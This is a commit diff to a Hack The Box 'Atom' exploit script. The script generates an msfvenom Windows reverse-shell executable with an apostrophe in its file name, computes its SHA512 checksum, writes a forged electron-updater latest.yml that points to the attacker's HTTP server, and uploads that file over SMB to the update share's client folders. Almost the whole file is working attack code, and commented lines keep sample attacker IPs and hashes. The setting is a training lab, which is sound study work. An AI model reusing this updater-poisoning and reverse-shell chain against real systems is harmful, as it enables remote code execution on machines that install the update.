Skip to content

Commit 40bef22

Browse files
committed
Debugging attempts
1 parent 1ca47cf commit 40bef22

File tree

1 file changed

+44
-17
lines changed

1 file changed

+44
-17
lines changed

hack_the_box/atom/send-payload.py

Lines changed: 44 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
import hashlib
88
import base64
99
from smb.SMBConnection import SMBConnection
10+
import binascii
1011

1112
def get_ip(interface):
1213
"""find your IP on a given interface"""
@@ -19,7 +20,9 @@ def get_ip(interface):
1920
def gen_payload(ip, port, payload, dir):
2021
"""generate an msfvenom payload with given IP address and port"""
2122

22-
cmd_str = 'msfvenom -a x86 --platform windows -p ' + payload + ' LHOST=' + str(ip) + ' LPORT=' + str(port) + ' -e x86/shikata_ga_nai -f exe -o "' + dir + 'heedv1\'Setup1.0.1.exe"'
23+
# cmd_str = 'msfvenom -a x86 --platform windows -p ' + payload + ' LHOST=' + str(ip) + ' LPORT=' + str(port) + ' -f exe -o "' + dir + 'heedv1\'Setup1.0.1.exe"'
24+
25+
cmd_str = 'msfvenom -p ' + payload + ' LHOST=' + str(ip) + ' LPORT=' + str(port) + ' -f exe -o "' + dir + 'heed\'Setup.exe"'
2326

2427
print("Running command: " + cmd_str)
2528

@@ -33,7 +36,7 @@ def get_payload(args, ip, port, path):
3336

3437
payload_path = ""
3538

36-
payload_name = "heedv1'Setup1.0.1.exe"
39+
payload_name = 'heed\'Setup.exe'
3740

3841
#get payload options, taking --payload as priority over --msf_payload if both provided
3942
if args.payload is not None:
@@ -50,6 +53,7 @@ def get_payload(args, ip, port, path):
5053

5154
else:
5255
#default payload
56+
# msf_payload = "windows/x64/shell_reverse_tcp"
5357
msf_payload = "windows/shell_reverse_tcp"
5458

5559
print("No --msf_payload or --payload flag provided. Using default windows/shell_reverse_tcp payload and generating with msfvenom")
@@ -83,7 +87,9 @@ def gen_checksum(filepath):
8387
break
8488
sha512.update(data)
8589

86-
b64 = base64.b64encode(sha512.digest()).decode('utf-8')
90+
# b64 = base64.b64encode(sha512.digest()).decode('utf-8')
91+
b64 = base64.b64encode(binascii.unhexlify(sha512.hexdigest())).decode('utf-8')
92+
# b64 = base64.b64encode(sha512.hexdigest()).decode('utf-8')
8793

8894
print("Base64-encoded SHA512-sum of payload: " + b64)
8995

@@ -93,25 +99,44 @@ def gen_yaml(ip, payload, size, sum, dir):
9399

94100
print("\n=== Generating YAML File ===\n")
95101

96-
yml_string = ("version: 1.0.1\n"
97-
"files:\n"
98-
" url: http://{ip}/{payload}\n"
99-
" sha512: {sha}\n"
100-
" size: {size}\n"
101-
"path: {payload}\n"
102-
"sha512: {sha}\n"
103-
"releaseDate: '2021-04-21T11:17:02.627Z'"
104-
).format(ip=ip, payload=payload, sha=sum, size=size)
102+
yml_string = ("version: 2.0.9\n"
103+
"path: http://{ip}/{payload}\n"
104+
"sha512: {sha}"
105+
).format(ip=ip, payload=payload, sha=sum)
106+
107+
# yml_string = ("version: 1.0.1\n"
108+
# "files:\n"
109+
# " url: http://{ip}/{payload}\n"
110+
# " sha512: {sha}\n"
111+
# " size: {size}\n"
112+
# "path: http://{ip}/{payload}\n"
113+
# "sha512: {sha}\n"
114+
# "releaseDate: '2021-04-21T11:17:02.627Z'"
115+
# ).format(ip=ip, payload=payload, sha=sum, size=size)
116+
117+
# version: 1.0.1
118+
# files:
119+
# url: http://10.10.14.193/heedv1'Setup1.0.1.exe
120+
# sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
121+
# size: 73802
122+
# path: http://10.10.14.193/heedv1'Setup1.0.1.exe
123+
# sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
124+
# releaseDate: '2021-04-21T11:17:02.627Z'
125+
126+
# version: 1.0.1
127+
# path: http://10.10.14.167/heedv1'Setup1.0.1.exe
128+
# sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
129+
# releaseDate: '2021-04-21T11:17:02.627Z'
105130

106131
print(yml_string)
107132

108133
yml_path = dir + "/latest.yml"
109134

110-
with open(yml_path, 'a') as f:
135+
with open(yml_path, 'w') as f:
111136
f.write(yml_string)
112137
f.close()
113138

114-
print("YAML saved at " + yml_path)
139+
print("\nYAML saved at " + yml_path)
115140

116141
return yml_path
117142

@@ -135,12 +160,14 @@ def smb_upload(yml_path):
135160

136161
conn.connect(server_ip, 445)
137162

163+
folders = ['client1', 'client2', 'client3']
164+
138165
#upload yml file
139166
with open(yml_path, 'rb') as file:
140167
# conn.storeFile('client1', 'latest.yml', file)
141-
resp = conn.storeFile('Software_Updates', 'client1/latest.yml', file)
142-
143-
print(str(resp))
168+
for folder in folders:
169+
resp = conn.storeFile('Software_Updates', '{}/latest.yml'.format(folder), file)
170+
print("Bytes uploaded to " + folder + ": " + str(resp))
144171

145172
conn.close()
146173

0 commit comments

Comments
 (0)